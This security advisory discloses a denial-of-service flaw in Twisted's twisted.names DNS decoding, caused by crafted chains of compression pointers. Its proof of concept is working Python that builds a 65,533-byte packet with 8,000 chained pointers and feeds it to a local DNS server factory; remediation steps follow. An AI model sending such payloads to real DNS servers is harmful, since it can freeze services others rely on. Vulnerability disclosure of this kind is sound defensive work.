Vulnerability GHSA-grgv-6hw6-v9g4
Summary
Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains
Details
Details
The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.
PoC
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers
def create_tcp_payload():
num_pointers = 8000
packet_length = 65533
num_questions = (packet_length - (num_pointers * 2) - 12) // 6
buffer = bytearray(packet_length)
struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)
ptr_offset = 12
for _ in range(num_pointers - 1):
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
ptr_offset += 2
null_byte_offset = ptr_offset + 2
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
buffer[null_byte_offset] = 0
question_offset = null_byte_offset + 1
for _ in range(num_questions):
if question_offset + 6 <= packet_length:
struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
question_offset += 6
return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer
def test_dns_server():
factory = server.DNSServerFactory(clients=[])
protocol = factory.buildProtocol(("127.0.0.1", 10053))
transport = proto_helpers.StringTransport()
protocol.makeConnection(transport)
pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
print("payload")
print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")
start = time.time()
protocol.dataReceived(payload)
end = time.time()
print(f"time={end - start:.4f}s")
if __name__ == "__main__":
test_dns_server()
Remediation
- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
- Share the "resolved offset" state across all records in a single message to prevent redundant processing.
- Validate the number of questions before entering the decoding loop in Message.decode.
Author: Tomas Illuminati
Related Vulnerabilities
Other vulnerabilities affecting the same packages